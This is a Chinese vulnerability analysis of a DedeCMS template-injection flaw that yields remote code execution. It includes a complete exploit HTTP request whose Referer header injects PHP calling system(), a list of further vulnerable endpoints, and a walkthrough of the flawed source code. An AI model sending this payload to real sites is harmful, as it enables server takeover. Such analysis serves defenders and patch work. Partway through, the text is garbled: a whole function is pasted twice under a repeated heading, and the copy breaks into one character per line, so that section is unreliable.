漏洞类型
SSTI RCE
利用条件
影响范围应用
漏洞概述
2021年9月30日,国外安全研究人员Steven Seeley披露了最新的DedeCMS版本中存在的一处SQL注入漏洞以及一处SSTI导致的RCE漏洞,由于SQL注入漏洞利用条件极为苛刻,故这里只对该SSTI注入漏洞进行简要分析复现
漏环境搭建
【技术学习资料】
漏洞复现
这里使用phpstudy来搭建环境
网站前台:http://192.168.59.1/index.php?upcache=1
网站后台: http://192.168.59.1/dede/login.php?gotopa…
漏洞利用
GET /plus/flink.php?dopost=save HTTP/1.1
Host: 192.168.59.1
Referer: <?php "system"(whoami);die;/*
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=rh4vs9n0m1ihpuguuok4oinerr; _csrf_name_26859a31=736abb4d994bae3b85bba1781e8a50f9; _csrf_name_26859a31__ckMd5=0f32d9d2b18e1390
Connection: close
类似的URL还有:
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/recommend.php
漏洞分析
漏洞入口位于plus/flink.php文件中,在该文件中如果我们传入的dopost值为save且未传递验证码时,紧接着会去调用ShowMsg函数:
之后跟踪进入到include/common.func.php文件中的ShowMsg()函数内
/**
* 短消息函数,可以在某个动作处理后友好的提示信息
*
* @param string $msg 消息提示信息
* @param string $gourl 跳转地址
* @param int $onlymsg 仅显示信息
* @param int $limittime 限制时间
* @return void
*/
function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0)
{
if (empty($GLOBALS['cfg_plus_dir'])) {
$GLOBALS['cfg_plus_dir'] = '..';
}
if ($gourl == -1) {
$gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if ($gourl == "") {
$gourl = -1;
}
}
$htmlhead = "
<html>\r\n<head>\r\n<title>DedeCMS提示信息</title>\r\n
<meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" />
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no\">
<meta name=\"renderer\" content=\"webkit\">
<meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" />
<link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/css/manage.dede.css\">
<base target='_self'/>
</head>
<body>
" . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . "
<center style=\"width:450px\" class=\"uk-container\">
<div class=\"uk-card uk-card-small uk-card-default\" style=\"margin-top: 50px;\">
<div class=\"uk-card-header\" style=\"height:20px\">DedeCMS 提示信息!</div>
<script>\r\n";
$htmlfoot = "
</script>
</center>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script>
<script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script>
</body>\r\n</html>\r\n";
$litime = ($limittime == 0 ? 1000 : $limittime);
$func = '';
if ($gourl == '-1') {
if ($limittime == 0) {
$litime = 3000;
}
$gourl = "javascript:history.go(-1);";
}
if ($gourl == '' || $onlymsg == 1) {
$msg = "<script>alert(\"" . str_replace("\"", "“", $msg) . "\");</script>";
} else {
//当网址为:close::objname 时, 关闭父框架的id=objname元素
if (preg_match('/close::/', $gourl)) {
$tgobj = trim(preg_replace('/close::/', '', $gourl));
$gourl = 'javascript:;';
$func .= "window.parent.document.getElementById('{$tgobj}').style.display='none';\r\n";
}
$func .= "var pgo=0;
function JumpUrl(){
if(pgo==0){ location='$gourl'; pgo=1; }
}\r\n";
$rmsg = $func;
$rmsg .= "document.write(\"<div style='height:130px;font-size:10pt;background:#ffffff'><br />\");\r\n";
$rmsg .= "document.write(\"" . str_replace("\"", "“", $msg) . "\");\r\n";
$rmsg .= "document.write(\"";
if ($onlymsg == 0) {
if ($gourl != 'javascript:;' && $gourl != '') {
$rmsg .= "<br /><a href='{$gourl}'>如果你的浏览器没反应,请点击这里...</a>";
$rmsg .= "<br/></div>\");\r\n";
$rmsg .= "setTimeout('JumpUrl()',$litime);";
} else {
$rmsg .= "<br/></div>\");\r\n";
}
} else {
$rmsg .= "<br/><br/></div>\");\r\n";
}
$msg = $htmlhead . $rmsg . $htmlfoot;
}
$tpl = new DedeTemplate();
$tpl->LoadString($msg);
$tpl->Display();
}
在这里我们可以看到如果gourl被设置为−1(间接可控),则攻击者可以通过HTTPREFERER控制gourl处变量的值,而该变量未经过滤直接赋值给变量gourl,之后经过一系列的操作之后将gourl与html代码拼接处理后转而调用tpl−>LoadString进行页面渲染操作,之后跟进LoadString可以看到此处的sourceString变量直接由str赋值过来,该变量攻击者可控,之后将其进行一次md5计算,然后设置缓存文件和缓存配置文件名,缓存文件位于data\tplcache目录,之后调用ParserTemplate对文件进行解析:
ParserTemplate如下:
/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
$startWordLen = strlen($tagStartWord);
$sourceLen = strlen($this->sourceString);
if ($sourceLen <= ($startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;
//遍历模板字符串,请取标记及其属性信息
$t = 0;
$preTag = '';
$tswLen = strlen($tagStartWord);
@$cAtt->cAttributes->items = array();
for ($i = 0; $i < $sourceLen; $i++) {
$ttagName = '';
//如果不进行此判断,将无法识别相连的两个标记
if ($i - 1 >= 0) {
$ss = $i - 1;
} else {
$ss = 0;
}
$tagPos = strpos($this->sourceString, $tagStartWord, $ss);
//判断后面是否还有模板标记
if ($tagPos == 0 && ($sourceLen - $i < $tswLen
|| substr($this->sourceString, $i, $tswLen) != $tagStartWord)
) {
$tagPos = -1;
break;
}
//获取TAG基本信息
for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {
break;
} else {
$ttagName .= $this->sourceString[$j];
}
}
if ($ttagName != '') {
$i = $tagPos + $startWordLen;
$endPos = -1;
//判断 '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
$e1 = strpos($this->sourceString, $sTagEndWord, $i);
$e2 = strpos($this->sourceString, $tagStartWord, $i);
$e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
$e1 = trim($e1);
$e2 = trim($e2);
$e3 = trim($e3);
$e1 = ($e1 == '' ? '-1' : $e1);
$e2 = ($e2 == '' ? '-1' : $e2);
$e3 = ($e3 == '' ? '-1' : $e3);
if ($e3 == -1) {
//不存在'{/tag:标记'
$endPos = $e1;
$elen = $endPos + strlen($sTagEndWord);
} else if ($e1 == -1) {
//不存在 '/}'
$endPos = $e3;
$elen = $endPos + strlen($fullTagEndWordThis);
}
//同时存在 '/}' 和 '{/tag:标记'
else {
//如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
if ($e1 < $e2 && $e1 < $e3) {
$endPos = $e1;
$elen = $endPos + strlen($sTagEndWord);
} else {
$endPos = $e3;
$elen = $endPos + strlen($fullTagEndWordThis);
}
}
//如果找不到结束标记,则认为这个标记存在错误
if ($endPos == -1) {
echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";
break;
}
$i = $elen;
//分析所找到的标记位置等信息
$attStr = '';
$innerText = '';
$startInner = 0;
for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
if ($startInner == 0) {
if ($this->sourceString[$j] == $tagEndWord) {
$startInner = 1;
continue;
} else {
$attStr .= $this->sourceString[$j];
}
} else {
$innerText .= $this->sourceString[$j];
}
}
$ttagName = strtolower($ttagName);
//if、php标记,把整个属性串视为属性
if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
$cAtt->cAttributes = new TagAttribute();
$cAtt->cAttributes->count = 2;
$cAtt->cAttributes->items['tagname'] = $ttagName;
$cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);
$innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);
} else if ($ttagName == 'php') {
$cAtt->cAttributes = new TagAttribute();
$cAtt->cAttributes->count = 2;
$cAtt->cAttributes->items['tagname'] = $ttagName;
$cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(
preg_replace(
"/^php[0-9]{0,}[\r\n\t ]/",
"", $attStr
)
) . "\r\n?" . '>';
} else {
//普通标记,解释属性
$cAtt->SetSource($attStr);
}
$this->count++;
$cTag = new Tag();
$cTag->tagName = $ttagName;
$cTag->startPos = $tagPos;
$cTag->endPos = $i;
$cTag->cAtt = $cAtt->cAttributes;
$cTag->isCompiler = false;
$cTag->tagID = $this->count;
$cTag->innerText = $innerText;
$this->cTags[$this->count] = $cTag;
} else {
$i = $tagPos + $startWordLen;
break;
}
} //结束遍历模板字符串
if ($this->count > -1 && $this->isCompiler) {
$this->CompilerAll();
}
}
之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数
ParserTemplate如下:
/**
* 解析模板
*
* @access public
* @return void
*/
public function ParseTemplate()
{
if ($this->makeLoop > 5) {
return;
}
$this->count = -1;
$this->cTags = array();
$this->isParse = true;
$sPos = 0;
$ePos = 0;
$tagStartWord = $this->tagStartWord;
$fullTagEndWord = $this->fullTagEndWord;
$sTagEndWord = $this->sTagEndWord;
$tagEndWord = $this->tagEndWord;
s
t
a
r
t
W
o
r
d
L
e
n
=
s
t
r
l
e
n
(
startWordLen = strlen(
startWordLen=strlen(tagStartWord);
s
o
u
r
c
e
L
e
n
=
s
t
r
l
e
n
(
sourceLen = strlen(
sourceLen=strlen(this->sourceString);
if (
s
o
u
r
c
e
L
e
n
<
=
(
sourceLen <= (
sourceLen<=(startWordLen + 3)) {
return;
}
$cAtt = new TagAttributeParse();
$cAtt->CharToLow = true;
//遍历模板字符串,请取标记及其属性信息
$t = 0;
$preTag = '';
$tswLen = strlen($tagStartWord);
@$cAtt->cAttributes->items = array();
for ($i = 0; $i < $sourceLen; $i++) {
$ttagName = '';
//如果不进行此判断,将无法识别相连的两个标记
if ($i - 1 >= 0) {
$ss = $i - 1;
} else {
$ss = 0;
}
$tagPos = strpos($this->sourceString, $tagStartWord, $ss);
//判断后面是否还有模板标记
if ($tagPos == 0 && ($sourceLen - $i < $tswLen
|| substr($this->sourceString, $i, $tswLen) != $tagStartWord)
) {
$tagPos = -1;
break;
}
//获取TAG基本信息
for ($j = $tagPos + $startWordLen; $j < $tagPos + $startWordLen + $this->tagMaxLen; $j++) {
if (preg_match("/[ >\/\r\n\t\}\.]/", $this->sourceString[$j])) {
break;
} else {
$ttagName .= $this->sourceString[$j];
}
}
if ($ttagName != '') {
$i = $tagPos + $startWordLen;
$endPos = -1;
//判断 '/}' '{tag:下一标记开始' '{/tag:标记结束' 谁最靠近
$fullTagEndWordThis = $fullTagEndWord . $ttagName . $tagEndWord;
$e1 = strpos($this->sourceString, $sTagEndWord, $i);
$e2 = strpos($this->sourceString, $tagStartWord, $i);
$e3 = strpos($this->sourceString, $fullTagEndWordThis, $i);
$e1 = trim($e1);
$e2 = trim($e2);
$e3 = trim($e3);
$e1 = ($e1 == '' ? '-1' : $e1);
$e2 = ($e2 == '' ? '-1' : $e2);
$e3 = ($e3 == '' ? '-1' : $e3);
if ($e3 == -1) {
//不存在'{/tag:标记'
$endPos = $e1;
$elen = $endPos + strlen($sTagEndWord);
} else if ($e1 == -1) {
//不存在 '/}'
$endPos = $e3;
$elen = $endPos + strlen($fullTagEndWordThis);
}
//同时存在 '/}' 和 '{/tag:标记'
else {
//如果 '/}' 比 '{tag:'、'{/tag:标记' 都要靠近,则认为结束标志是 '/}',否则结束标志为 '{/tag:标记'
if ($e1 < $e2 && $e1 < $e3) {
$endPos = $e1;
$elen = $endPos + strlen($sTagEndWord);
} else {
$endPos = $e3;
$elen = $endPos + strlen($fullTagEndWordThis);
}
}
//如果找不到结束标记,则认为这个标记存在错误
if ($endPos == -1) {
echo "Tpl Character postion $tagPos, '$ttagName' Error!<br />\r\n";
break;
}
$i = $elen;
//分析所找到的标记位置等信息
$attStr = '';
$innerText = '';
$startInner = 0;
for ($j = $tagPos + $startWordLen; $j < $endPos; $j++) {
if ($startInner == 0) {
if ($this->sourceString[$j] == $tagEndWord) {
$startInner = 1;
continue;
} else {
$attStr .= $this->sourceString[$j];
}
} else {
$innerText .= $this->sourceString[$j];
}
}
$ttagName = strtolower($ttagName);
//if、php标记,把整个属性串视为属性
if (preg_match("/^if[0-9]{0,}$/", $ttagName)) {
$cAtt->cAttributes = new TagAttribute();
$cAtt->cAttributes->count = 2;
$cAtt->cAttributes->items['tagname'] = $ttagName;
$cAtt->cAttributes->items['condition'] = preg_replace("/^if[0-9]{0,}[\r\n\t ]/", "", $attStr);
$innerText = preg_replace("/\{else\}/i", '<' . "?php\r\n}\r\nelse{\r\n" . '?' . '>', $innerText);
} else if ($ttagName == 'php') {
$cAtt->cAttributes = new TagAttribute();
$cAtt->cAttributes->count = 2;
$cAtt->cAttributes->items['tagname'] = $ttagName;
$cAtt->cAttributes->items['code'] = '<' . "?php\r\n" . trim(
preg_replace(
"/^php[0-9]{0,}[\r\n\t ]/",
"", $attStr
)
) . "\r\n?" . '>';
} else {
//普通标记,解释属性
$cAtt->SetSource($attStr);
}
$this->count++;
$cTag = new Tag();
$cTag->tagName = $ttagName;
$cTag->startPos = $tagPos;
$cTag->endPos = $i;
$cTag->cAtt = $cAtt->cAttributes;
$cTag->isCompiler = false;
$cTag->tagID = $this->count;
$cTag->innerText = $innerText;
$this->cTags[$this->count] = $cTag;
} else {
$i = $tagPos + $startWordLen;
break;
}
} //结束遍历模板字符串
if ($this->count > -1 && $this->isCompiler) {
$this->CompilerAll();
}
}
之后返回上一级,在这里会紧接着调用Display函数对解析结果进行展示,在这里会调用WriteCache函数
在WriteCache函数中写入缓存文件:
在这里使用GetResult返回值sourceString来设置$result变量,该变量包含攻击者控制的输入数据:
之后调用CheckDisabledFunctions函数进行检查操作,该函数主要用于检查是否存在被禁止的函数,然后通过token_get_all_nl函数获取输入,然而处理时并没有过滤双引号,存在被绕过的风险,攻击者可以通过将恶意PHP写到临时文件,之后在Display函数处通过include $tpl->CacheFile()将恶意临时文件包含进来从而实现远程代码执行:
安全建议
目前官方已发布最新版本:DedeCMS V5.7.80 UTF-8正式版,建议升级到该版本
点击获取【网络安全学习资料·攻略】